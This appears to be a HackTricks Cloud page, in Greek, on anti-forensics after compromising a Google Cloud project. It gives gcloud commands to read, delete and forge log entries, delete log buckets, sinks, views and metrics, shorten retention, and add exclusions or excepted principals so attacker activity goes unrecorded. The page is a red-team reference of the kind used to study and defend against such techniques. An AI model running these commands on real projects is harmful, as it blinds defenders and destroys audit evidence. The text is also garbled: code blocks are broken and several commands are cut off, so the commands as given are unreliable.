GCP - Logging Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Για περισσότερες πληροφορίες δείτε:
Για άλλους τρόπους διατάραξης της παρακολούθησης δείτε:
GCP - Monitoring Post Exploitation
Προεπιλεγμένο Logging
Ως προεπιλογή δεν θα εντοπιστείτε απλώς επειδή εκτελείτε ενέργειες ανάγνωσης. Για περισσότερες πληροφορίες δείτε την ενότητα Logging Enum.
Προσθήκη Excepted Principal
Στο https://console.cloud.google.com/iam-admin/audit/allservices και https://console.cloud.google.com/iam-admin/audit είναι δυνατή η προσθήκη principals ώστε να μην δημιουργούνται logs. An attacker θα μπορούσε να εκμεταλλευτεί αυτό για να αποφύγει τον εντοπισμό.
Ανάγνωση logs - logging.logEntries.list
Ανάγνωση εγγραφών log
```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=jsonEverything from a timestamp
gcloud logging read “timestamp >= "2023-01-01T00:00:00Z"” –limit=10 –format=json
Use these options to indicate a different bucket or view to use: –bucket=_Required –view=_Default
</details>
### `logging.logs.delete`
<details>
<summary>Διαγραφή εγγραφών καταγραφής</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
Εγγραφή καταγραφών - logging.logEntries.create
Καταχώρηση εγγραφής καταγραφής
```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ```logging.buckets.update
Ενημέρωση της περιόδου διατήρησης του bucket καταγραφών
```bash # Set retention period to 1 day (_Required has a fixed one of 400days)gcloud logging buckets update bucketlog –location=
</details>
### `logging.buckets.delete`
<details>
<summary>Διαγραφή κάδου καταγραφών</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
logging.links.delete
Διαγραφή συνδέσμου καταγραφής
```bash # Delete link gcloud logging links deletelogging.views.delete
Διαγραφή προβολής logging
```bash # Delete a logging view to remove access to anyone using it gcloud logging views deletelogging.views.update
Ενημέρωση του logging view για απόκρυψη δεδομένων
```bash # Update a logging view to hide data gcloud logging views updatelogging.logMetrics.update
Ενημέρωση μετρικών βασισμένων σε logs
```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics updatelogging.logMetrics.delete
Διαγραφή log-based metrics
```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics deletelogging.sinks.delete
Διαγραφή log sink
```bash # Delete sink - logging.sinks.delete gcloud logging sinks deletelogging.sinks.update
Ενημέρωση/διατάραξη του log sink
```bash # Disable sink - logging.sinks.update gcloud logging sinks updateCreatea filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME –add-exclusion=“name=exclude-info-logs,filter=severity<INFO”
Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update
Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME –custom-writer-identity=attacker-service-account-email –project=PROJECT_ID
Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME –clear-exclusions
If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME –use-partitioned-tables gcloud logging sinks update SINK_NAME –no-use-partitioned-tables
</details>
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

